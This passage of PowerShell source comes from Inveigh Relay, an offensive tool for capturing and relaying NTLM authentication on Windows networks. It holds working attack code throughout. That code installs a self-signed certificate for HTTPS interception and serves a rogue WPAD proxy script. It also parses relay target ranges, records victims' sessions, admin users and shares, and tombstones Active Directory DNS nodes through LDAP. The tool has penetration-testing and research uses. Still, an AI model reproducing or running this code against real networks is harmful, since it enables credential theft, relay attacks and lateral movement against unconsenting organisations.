$inveigh.tool = 0 + $inveigh.newline = $null +} + +#endregion +#region begin startup messages +$inveigh.output_queue.Add("[*] Inveigh Relay $inveigh_version started at $(Get-Date -format s)") > $null + +if($firewall_status) +{ + $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[-] HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Enabled") > $null + + if($HTTPIP) + { + $inveigh.output_queue.Add("[+] HTTP IP Address = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null + } + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.output_queue.Add("[+] HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.output_queue.Add("[+] HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code from Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + $inveigh.HTTPS = $true + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Enabled") > $null + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null + } + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To Certificate Error") > $null + } + + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ + + if($Challenge) + { + $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null + } + + if($MachineAccounts -eq 'N') + { + $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null + $inveigh.machine_accounts = $false + } + else + { + $inveigh.machine_accounts = $true + } + + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -eq "NTLM") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + +} + +if($Proxy -eq 'Y') +{ + + if($proxy_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[+] Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] Proxy Capture/Relay = Enabled") > $null + $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + } + +} + +$inveigh.output_queue.Add("[+] Relay Attack = " + ($Attack -join ",")) > $null + +# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b + +function Convert-RangetoIPList +{ + param($IP,$CIDR,$Start,$End) + + function Convert-IPtoINT64 + { + param($IP) + + $octets = $IP.split(".") + + return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3]) + } + + function Convert-INT64toIP + { + param ([int64]$int) + return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring()) + } + + $target_list = New-Object System.Collections.ArrayList + + if($IP) + { + $IP_address = [System.Net.IPAddress]::Parse($IP) + } + + if($CIDR) + { + $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2)))) + } + + if($IP) + { + $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address) + } + + if($IP) + { + $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address)) + } + + if($IP) + { + $start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString + $end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString + } + else + { + $start_address = Convert-IPtoINT64 -ip $start + $end_address = Convert-IPtoINT64 -ip $end + } + + for($i = $start_address; $i -le $end_address; $i++) + { + $IP_address = Convert-INT64toIP -int $i + $target_list.Add($IP_address) > $null + } + + if($network_address) + { + $target_list.Remove($network_address.IPAddressToString) + } + + if($broadcast_address) + { + $target_list.Remove($broadcast_address.IPAddressToString) + } + + return $target_list +} + +function Get-TargetList +{ + param($targets) + + $target_list = New-Object System.Collections.ArrayList + + for($i=0;$i -lt $targets.Count;$i++) + { + + if($targets[$i] -like "*-*") + { + $target_array = $targets[$i].split("-") + + if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + + if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254) + { + Write-Output "[!] Invalid target $($target[$i])" + throw + } + else + { + $IP_network_begin = $target_array[0].ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf(".")) + $IP_network_begin = $IP_network_begin.ToCharArray() + [Array]::Reverse($IP_network_begin) + $IP_network_begin = -join($IP_network_begin) + $IP_range_end = $IP_network_begin + $target_array[1] + $targets[$i] = $target_array[0] + "-" + $IP_range_end + } + + } + + } + + } + + ForEach($entry in $targets) + { + $entry_split = $null + + if($entry.contains("/")) + { + $entry_split = $entry.Split("/") + $IP = $entry_split[0] + $CIDR = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR)) + } + elseif($entry.contains("-")) + { + $entry_split = $entry.Split("-") + + if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and + $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $start_address = $entry_split[0] + $end_address = $entry_split[1] + $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address)) + } + else + { + $target_list.Add($entry) > $null + } + + } + else + { + $target_list.Add($entry) > $null + } + + } + + return $target_list +} + +if($Target) +{ + + if($Target.Count -eq 1) + { + $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null + } + elseif($Target.Count -gt 3) + { + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null + } + else + { + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null + } + + $inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null + [Array]$inveigh.target_list = Get-TargetList $Target +} + +if($TargetExclude) +{ + + if($TargetExclude.Count -eq 1) + { + $inveigh.output_queue.Add("[+] Relay Target Exclude = " + ($TargetExclude -join ",")) > $null + } + elseif($TargetExclude.Count -gt 3) + { + $inveigh.output_queue.Add("[+] Relay Targets Exclude = " + ($TargetExclude[0..2] -join ",") + "...") > $null + } + else + { + $inveigh.output_queue.Add("[+] Relay Targets Exclude = " + ($TargetExclude -join ",")) > $null + } + + $inveigh.output_queue.Add("[*] Parsing Relay Target Exclude List") > $null + [Array]$inveigh.target_exclude_list = Get-TargetList $TargetExclude +} + +if($Username) +{ + + if($Username.Count -eq 1) + { + $inveigh.output_queue.Add("[+] Relay Username = " + ($Username -join ",")) > $null + } + else + { + $inveigh.output_queue.Add("[+] Relay Usernames = " + ($Username -join ",")) > $null + } + +} + +if($RelayAutoDisable -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Disabled") > $null +} + +if($RelayAutoExit -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Disabled") > $null +} + +if($Service) +{ + $inveigh.output_queue.Add("[+] Relay Service = $Service") > $null +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.output_queue.Add("[!] Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null +} + +if($FileUnique -eq 'Y') +{ + $inveigh.file_unique = $true +} +else +{ + $inveigh.file_unique = $false +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($RunTime -eq 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null +} + +if($ShowHelp -eq 'Y') +{ + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null + + if($inveigh.console_output) + { + $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null + } + +} + +while($inveigh.output_queue.Count -gt 0) +{ + + switch -Wildcard ($inveigh.output_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Warning($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + default + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Output($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + +} + +$inveigh.status_output = $false +$inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value +$inveigh.computer_name = (Get-ChildItem -path env:computername).Value + +try +{ + $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain -ErrorAction 'SilentlyContinue').Value).ToLower() + $inveigh.DNS_computer_name = ($inveigh.computer_name + "." + $inveigh.DNS_domain).ToLower() + + if(!$inveigh.domain_mapping_table.ContainsKey($inveigh.netBIOS_domain)) + { + $inveigh.domain_mapping_table.Add($inveigh.netBIOS_domain,$inveigh.DNS_domain) + } + +} +catch +{ + $inveigh.DNS_domain = $inveigh.netBIOS_domain + $inveigh.DNS_computer_name = $inveigh.computer_name +} + +if($inveigh.enumerate) +{ + $inveigh.output_queue.Add("[*] Performing DNS lookups for imported targets") > $null + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Hostname -and !$inveigh.enumerate[$i].IP -and $inveigh.enumerate[$i]."DNS Record" -ne $false) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($inveigh.enumerate[$i].Hostname) + + foreach($entry in $IP_list.AddressList) + { + + if($entry.AddressFamily -eq 'InterNetwork') + { + $inveigh.enumerate[$i].IP = $entry.IPAddressToString + $inveigh.enumerate[$i]."DNS Record" = $true + $inveigh.enumerate[$i]."IPv6 Only" = $false + $target_enumerate_keep = $true + } + + } + + if(!$target_enumerate_keep) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] IPv6 target $($inveigh.enumerate[$i].Hostname) not supported") > $null + $inveigh.enumerate[$i]."IPv6 Only" = $true + } + + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS lookup for $($inveigh.enumerate[$i].Hostname) failed") > $null + $inveigh.enumerate[$i]."DNS Record" = $false + } + + $target_enumerate_keep = $false + $IP_list = $null + } + + } + +} + +if($inveigh.target_list) +{ + $inveigh.output_queue.Add("[*] Performing DNS lookups on any hostname targets") > $null + + for($i = 0;$i -lt $inveigh.target_list.Count;$i++) + { + + if(!($inveigh.target_list[$i] -as [IPAddress] -as [Bool])) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($inveigh.target_list[$i]) + + foreach($entry in $IP_list.AddressList) + { + + if($entry.AddressFamily -eq 'InterNetwork') + { + $inveigh.target_list[$i] = $entry.IPAddressToString + $target_keep = $true + } + + if(!$target_keep) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] IPv6 target $($inveigh.target_list[$i]) not supported") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed $($inveigh.target_list[$i]) from target list") > $null + $inveigh.target_list[$i] = $null + } + + } + + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS lookup for $($inveigh.target_list[$i]) failed") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed $($inveigh.target_list[$i]) from target list") > $null + $inveigh.target_list[$i] = $null + } + + $target_keep = $false + $IP_list = $null + } + + } + + if(!$inveigh.target_list -and !$inveigh.enumerated) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] No remaining targets") > $null + throw + } + +} + +if($inveigh.target_exclude_list) +{ + $inveigh.output_queue.Add("[*] Performing DNS lookups on excluded hostname targets") > $null + + for($i = 0;$i -lt $inveigh.target_exclude_list.Count;$i++) + { + + if(!($inveigh.target_exclude_list[$i] -as [IPAddress] -as [Bool])) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($inveigh.target_exclude_list[$i]) + + foreach($entry in $IP_list.AddressList) + { + + if($entry.AddressFamily -eq 'InterNetwork') + { + $inveigh.target_exclude_list[$i] = $entry.IPAddressToString + $target_exclude_keep = $true + } + + } + + if(!$target_exclude_keep) + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] IPv6 target $($inveigh.target_list[$i]) not supported") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed $($inveigh.target_exclude_list[$i]) from exclusion list") > $null + $inveigh.target_exclude_list[$i] = $null + } + + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS lookup for $($inveigh.target_exclude_list[$i]) failed") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed $($inveigh.target_exclude_list[$i]) from exclusion list") > $null + $inveigh.target_exclude_list[$i] = $null + } + + $target_exclude_keep = $false + $IP_list = $null + } + + } + +} + +if($inveigh.target_list -and $inveigh.target_exclude_list) +{ + $inveigh.target_list = Compare-Object -ReferenceObject $inveigh.target_exclude_list -DifferenceObject $inveigh.target_list -PassThru +} + +#endregion +#region begin script blocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + + function Get-UInt16DataLength + { + param ([Int]$Start,[Byte[]]$Data) + + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) + + return $data_length + } + + function Get-UInt32DataLength + { + param ([Int]$Start,[Byte[]]$Data) + + $data_length = [System.BitConverter]::ToUInt32($Data[$Start..($Start + 3)],0) + + return $data_length + } + + function Convert-DataToString + { + param ([Int]$Start,[Int]$Length,[Byte[]]$Data) + + $string_data = [System.BitConverter]::ToString($Data[$Start..($Start + $Length - 1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + + return $string_extract + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups, + $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$DNSRecord, + $IPv6Only,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Record" $DNSRecord + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IPv6 Only" $IPv6Only + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute + + return $relay_object + } + + function Invoke-SessionUpdate + { + param ([String]$domain,[String]$username,[String]$hostname,[String]$IP) + + if($inveigh.domain_mapping_table.$domain) + { + $session = ($username + "@" + $inveigh.domain_mapping_table.$domain).ToUpper() + $hostname_full = ($hostname + "." + $inveigh.domain_mapping_table.$domain).ToUpper() + } + else + { + $session = $domain + "\" + $username + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Hostname -eq $hostname_full -or $inveigh.enumerate[$i].IP -eq $IP) + { + + if(!$inveigh.enumerate[$i].Hostname) + { + $inveigh.enumerate[$target_index].Hostname = $hostname_full + } + + [Array]$session_list = $inveigh.enumerate[$i].Sessions + + if($inveigh.domain_mapping_table.$domain) + { + + for($j = 0;$j -lt $session_list.Count;$j++) + { + + if($session_list[$j] -like "$domain\*") + { + $session_username = ($session_list[$j].Split("\"))[1] + $session_update = $session_username + "@" + $inveigh.domain_mapping_table.$domain + $session_list[$j] += $session_update + $inveigh.enumerate[$i].Sessions = $session_list + } + + } + + } + + if($session_list -notcontains $session) + { + $session_list += $session + $inveigh.enumerate[$i].Sessions = $session_list + } + + $target_updated = $true + break + } + + } + + if(!$target_updated) + { + $inveigh.enumerate.Add((New-RelayEnumObject -IP $IP -Hostname $hostname_full -Sessions $session)) > $null + } + + } + +} + +# ADIDNS Functions ScriptBlock +$ADIDNS_functions_scriptblock = +{ + + function Disable-ADIDNSNode + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone + + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + foreach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [Int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned in $Zone") > $null + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + } + + function New-SOASerialNumberArray + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone + ) + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + foreach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + foreach($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + 